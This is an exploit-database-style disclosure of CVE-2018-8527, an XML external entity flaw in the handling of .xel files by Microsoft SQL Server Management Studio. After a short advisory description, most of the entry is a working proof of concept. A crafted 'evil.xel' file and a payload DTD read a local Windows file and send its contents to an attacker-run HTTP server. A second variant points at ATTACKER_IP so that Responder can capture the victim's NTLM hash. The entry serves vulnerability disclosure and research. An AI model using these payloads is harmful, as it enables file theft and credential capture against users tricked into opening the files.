# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection# Date: 2018-10-10# Author: John Page (aka hyp3rlinx) # Website: hyp3rlinx.altervista.org# Venodor: www.microsoft.com# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4) # CVE: CVE-2018-8527# References:# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt# https://www.zerodayinitiative.com/advisories/ZDI-18-1131/# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527) # Description# This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations # of Microsoft SQL Server Management Studio. User interaction is required to exploit this vulnerability # in that the target must visit a malicious page or open a malicious file.# The specific flaw exists within the handling of XEL files. Due to the improper restriction # of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser # to access the URI and embed the contents back into the XML document for further processing. An attacker # can leverage this vulnerability to disclose information in the context of the current process.# [Exploit/POC]
python -m SimpleHTTPServer (listens Port 8000)"evil.xel"(Extended Event Log File)
<?xml version="1.0"?>
<!DOCTYPE flavios [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
"payload.dtd"
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;# OR # Steal NTLM hashes# Kali linux/usr/share/responder/tools
responder -I eth0 -rv"evil.xel"
<?xml version="1.0"?>
<!DOCTYPE dirty0tis [
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">
%dtd;]>
Result: Forced authentication and NTLM hash captured